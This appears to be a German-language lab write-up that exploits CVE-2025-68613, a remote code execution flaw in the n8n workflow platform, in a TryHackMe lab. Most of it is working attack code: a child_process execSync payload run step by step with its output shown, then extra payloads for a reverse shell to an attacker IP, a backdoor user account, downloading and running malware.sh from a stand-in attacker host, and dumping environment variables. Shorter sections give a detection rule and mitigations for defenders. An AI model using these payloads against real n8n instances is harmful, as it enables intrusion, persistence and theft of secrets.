
Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs.
Dieses Repository dokumentiert eine praktische Ausnutzung von CVE-2025-68613 (CVSS 9.9), einer kritischen Remote-Codeausführungs-Schwachstelle, die die n8n Workflow-Automatisierungsplattform (Versionen 0.211.0 bis 1.120.3) betrifft.
Diese Ausnutzung wurde ethisch in einer kontrollierten TryHackMe-Lab-Umgebung ausschließlich zu Bildungszwecken durchgeführt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-68613 |
| CVSS-Score | 9.9 (Kritisch) |
| Veröffentlicht | 19. Dezember 2025 |
| Betroffenes Produkt | n8n Workflow-Automatisierungsplattform |
| Schwachstellentyp | Ausdrucks-Injektion → Sandbox-Escape → RCE |
| Angriffsvektor | Authentifizierter Benutzer (Standard) |
| Gepatchte Versionen | 1.120.4, 1.121.1, 1.122.0+ |
| Betroffene Versionen | 0.211.0 - 1.120.3 |
n8n ist eine quelloffene Workflow-Automatisierungsplattform, mit der Benutzer Anwendungen und Dienste visuell verbinden können, um Aufgaben zu automatisieren. Sie bietet:
{{ }} werden als JavaScript ausgewertetDie Schwachstelle liegt im Workflow-Ausdrucksauswertungssystem von n8n. Wenn authentifizierte Benutzer Workflows konfigurieren, werden ihre Eingaben als JavaScript-Code ohne angemessene Sandboxing verarbeitet.
Expression Sandbox
↓ (Escape via 'this')
Node.js Global Context
↓ (Zugriff auf mainModule)
Module System (require)
↓ (lade child_process)
Systembefehl-Ausführung
{{ }} werden als rohes JavaScript ohne ordnungsgemäße Kontextisolierung ausgewertetthis-Objekt ermöglicht das Entkommen aus den vorgesehenen Sandbox-Einschränkungenprocess.mainModule.require() bietet Zugriff auf das Node.js-Modulsystemchild_process-Modul zur Systembefehl-Ausführung laden(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Erklärung:
this → Node.js global objectthis.process → Node.js process objectprocess.mainModule → Root-Modul der n8n-Anwendung.require('child_process') → Lade das Systembefehl-Ausführungsmodul.execSync('COMMAND') → Führe Shell-Befehl synchron aus.toString() → Konvertiere Buffersausgabe in lesbaren StringGreife auf die anfällige n8n-Instanz zu und melde dich mit gültigen Anmeldedaten an.
Lab-Anmeldedaten:
[email protected]Try12345!
Nach der Anmeldung wird die Workflow-Erstellungsoberfläche angezeigt. Klicke auf "Von Grund auf neu beginnen", um einen neuen Workflow zu starten.

Klicke auf "Ersten Schritt hinzufügen" und suche nach "Manual Trigger". Dieser Knoten dient als Einstiegspunkt für die Workflow-Ausführung.

Zweck: Der Manuelle-Trigger-Knoten ermöglicht die manuelle Ausführung des Workflows über die Schaltfläche "Workflow ausführen" in der Benutzeroberfläche, was ideal zum Testen ist.
Füge einen "Edit Fields"-Knoten hinzu, um eine Feldzuordnung durchzuführen. Hier wird die Schwachstelle ausgenutzt.

Konfigurationsschritte:
Injiziere die Payload, um den id-Befehl auszuführen und Benutzer-/Berechtigungsinformationen abzurufen.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Ergebnis:
uid=1000(node) gid=1000(node) groups=1000(node)

Gesammelte Informationen:
Passe die Payload an, um den ls-Befehl auszuführen und Verzeichnisinhalte aufzulisten.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Ausgabe zeigt:
flag.txtLies die Flag-Datei mit dem cat-Befehl, um die Ausnutzung abzuschließen.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
}
**Abgerufene Flag:**
THM{n8n_exposed_workflow}

---
## Fortgeschrittene Ausnutzungstechniken
### 1. Reverse Shell
Richte eine interaktive Shell für dauerhafte Kontrolle ein:
```javascript
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ANGREIFER_IP/PORT 0>&1').toString()
})()
Füge einen neuen Systembenutzer für dauerhaften Zugriff hinzu:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORT) backdoor').toString()
})()
Hole und führe entfernten Code aus:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://angreifer.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Überprüfe auf sudo-Berechtigungen:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extrahiere Umgebungsvariablen:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Konfiguriere deinen Proxy, um Anfragekörper zur Analyse zu protokollieren:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
Erkenne Ausnutzungsversuche über Workflow-API-Anfragen:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
Überwache auf verdächtige von n8n erstellte Kindprozesse:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync oder spawnn8n aktualisieren auf gepatchte Versionen:
Netzwerkzugriff einschränken
Starke Authentifizierung
Überwachung & Protokollierung
Eingabevalidierung & -Bereinigung
Sandbox-Implementierung
Prinzip der geringsten Privilegien
Code-Review & Sicherheitstests
Diese Dokumentation wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die beschriebenen Ausnutzungstechniken sind bestimmt für:
Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie immer eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie Sicherheitstests durchführen.
.
├── README.md # Diese Datei
├── exploitation-details.md # Technischer Deep-Dive-Leitfaden
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
Dieser Writeup dokumentiert die erfolgreiche Ausnutzung von CVE-2025-68613 in einer TryHackMe-Lab-Umgebung. Die Schwachstelle zeigt die kritische Bedeutung einer sicheren Codeauswertung und die Gefahren einer unzureichenden Sandbox-Implementierung in Automatisierungsplattformen.
Das Verständnis dieser Schwachstelle hilft sowohl Offensive-Security-Teams, ähnliche Probleme zu identifizieren, als auch Defensive-Teams, effektivere Erkennungsstrategien zu entwickeln.
| Schritt | Aktion | Zeit |
|---|
| 1 | Zugriff auf n8n-Instanz | Sekunden |
| 2 | Workflow erstellen/ändern | < 1 Minute |
| 3 | Feldzuordnungsknoten hinzufügen | < 1 Minute |
| 4 | id-Befehl injizieren und ausführen | < 30 Sekunden |
| 5 | Dateisystem mit ls auflisten | < 1 Minute |
| 6 | Daten mit cat extrahieren | < 30 Sekunden |
| Gesamt | Vollständige RCE-Ausnutzung | < 5 Minuten |